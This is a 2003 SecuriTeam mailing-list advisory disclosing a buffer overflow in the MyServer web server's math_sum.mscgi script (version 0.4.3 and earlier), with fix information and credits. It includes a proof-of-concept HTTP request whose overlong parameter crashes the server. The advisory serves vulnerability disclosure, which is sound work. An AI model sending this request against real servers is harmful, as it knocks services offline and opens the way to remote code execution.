[NEWS] MyServer Buffer Overflow Vulnerability (math_sum.mscgi)
From: SecuriTeam (support_at_securiteam.com)
Date: 09/14/03
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To: list@securiteam.com Date: 14 Sep 2003 18:34:40 +0200
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MyServer Buffer Overflow Vulnerability (math_sum.mscgi)
------------------------------------------------------------------------
SUMMARY
<http://myserverweb.sourceforge.net/forum/portal.php> MyServer is a free
and easy to configure web server". A buffer overflow allows remote
attacker to invoke malicious code by submitting a request containing
excessive data.
DETAILS
Vulnerable systems:
* MyServer version 0.4.3 and prior
Exploit:
Sending the following to the web server will cause the server to crash
while trying to execute the memory content at address 0x41414141
GET
/cgi-bin/math_sum.mscgi?a=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Moozatech (compatible; Moozatech Scanner)
Host: 12.12.12.12
Connection: Keep-Alive
Fix:
The author has confirmed this bug and temporary fix is available through
MyServer cvs repository at: <http://myserverweb.sourceforge.net/cvs.php>
http://myserverweb.sourceforge.net/cvs.php. Complete patch will be
available in the next upcoming release of MyServer.
ADDITIONAL INFORMATION
The original advisory can be downloaded from:
<http://www.moozatech.com/mt-12-09-2003.txt>
http://www.moozatech.com/mt-12-09-2003.txt.
The information has been provided by <mailto:moran@moozatech.com> Moran.
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